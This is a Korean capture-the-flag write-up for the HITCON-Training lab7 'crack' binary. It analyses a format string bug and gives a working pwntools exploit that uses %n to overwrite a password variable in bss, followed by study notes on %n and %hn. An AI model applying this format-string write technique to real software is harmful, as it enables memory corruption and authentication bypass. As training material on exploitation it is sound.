문제
crack 바이너리의 checksec 결과는 다음과 같다.
CANARY : ENABLED
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
gdb-peda$
crack 바이너리의 file 명령어 결과는 다음과 같다.
crack: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=66ea82f29539f0da4643036bca734fcd9b4791f9, not stripped
바이너리 코드
int __cdecl main(int argc, const char **argv, const char **envp)
{
...
...
v3 = time(0);
srand(v3);
fd = open("/dev/urandom", 0);
read(fd, &password, 4u);
printf("What your name ? ");
read(0, &buf, 0x63u);
printf("Hello ,");
printf(&buf);
printf("Your password :");
read(0, &nptr, 0xFu);
if ( atoi(&nptr) == password )
{
puts("Congrt!!");
system("cat /home/crack/flag");
}
else
{
puts("Goodbyte");
}
return 0;
}
=> /dev/urandom에서 읽어온 4byte 랜덤값이 내 입력값과 같으면 flag를 읽어준다. 이 랜덤값을 알아내는 것은 불가능하다. 하지만 그 전에 buf의 내용을 printf 하는 곳에서 format string bug가 존재한다. 이를 이용해서 bss 영역에 존재하는 password 변수에 저장되어 있는 값을 덮어쓸 수 있다.
exploit 방법
printf(&buf)를 하는 시점에서 esp의 위치와 스택을 살펴보았다.
-
스택을 보면 read의 인자로 push 되었던 password의 주소는 다른 값으로 덮어 쓰여져서 보이지 않는다.
-
이 때 esp 값은 0xffffcf80 이고 buf의 주소는 0xffffcfa8이다. 따라서 buf에 &password+”%08x”*10을 저장하면 마지막에 password의 주소가 출력되는 것을 확인할 수 있다.
따라서 buf에 &password + “%08x” * 8 + “%32d” + “%n” 을 하면 password에 100을 넣을 수 있다.
풀이
#!/usr/bin/python
from pwn import *
file_path="/home/sungyun/HITCON-Training/LAB/lab7/crack"
p=process(file_path)
p.recvuntil("name ? ")
password=0x804a048
pay=p32(password)
pay+="%08x"*8+"%32d"+"%n"
p.send(pay)
p.recvuntil("Hello ,")
p.recvuntil("password :")
p.send(str(100))
p.recvuntil("!!\n")
print p.recv()
알게 된 것
int a=100;
printf("%2d",a);
이렇게 하면 100이 출력된다. 그래서 위의 문제에서 %6d의 결과로 6개의 글자가 출력되지 않고 더 긴 값이 출력되었다.-
%n을 통해 덮어쓸 값이 매우 크면 printf를 통해서 매우 긴 문자열을 출력해야 한다. 이런 경우에 문자열이 너무 길어서 출력을 못하는 경우가 있는데 이럴 때는 %hn을 이용해야 한다.
- %08x를 하면 공백 대신에 0이 채워지는데 사실 공백도 출력 개수에 포함되기 때문에 %8x를 써도 된다. 하지만 %08x를 하면 4byte이기 때문에 메모리 offset을 맞춰주기 편한듯?